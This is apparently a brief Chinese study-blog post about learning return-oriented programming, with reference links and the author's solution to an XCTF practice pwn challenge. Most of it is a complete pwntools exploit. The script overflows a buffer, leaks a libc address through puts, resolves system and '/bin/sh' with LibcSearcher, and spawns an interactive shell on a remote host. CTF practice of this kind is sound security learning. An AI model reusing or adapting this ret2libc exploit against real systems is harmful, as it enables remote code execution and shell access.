今日学习ROP。并看着WriteUp做出了一道题目。
ROP主要参考资料：（不分先后）
https://www.jianshu.com/p/80d7150dd0a2
https://baike.baidu.com/item/ROP%E7%B3%BB%E7%BB%9F%E6%94%BB%E5%87%BB/16230646?fr=aladdin
https://www.jianshu.com/p/1d7f0c56a323
https://www.cnblogs.com/ichunqiu/p/9288935.html
题目地址：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4888&page=1
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * from LibcSearcher import * context.log_level="debug" context(arch="amd64",os="linux") ROP_PopRdi = 0x400763 ADDR_GOT_read = 0x601028 ADDR_PLT_puts = 0x400500 ADDR_SYM_main = 0x4006b8 p = remote("111.198.29.45",30265) payload1 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) + b'0'*(0xc8-0x48-32) p.send(payload1) p.recvuntil("bye~\n") GOT_read = p.recvuntil("\n").split()[0] for i in range(len(GOT_read),8): GOT_read += b'\x00' GOT_read = u64(GOT_read) libc = LibcSearcher("read",GOT_read) ADDR_LibC_base = GOT_read - libc.dump("read") ADDR_system = ADDR_LibC_base + libc.dump("system") ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh") payload2 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) + b'0'*(0xc8-0x48-24) p.send(payload2) p.recvuntil("bye~\n") p.interactive() |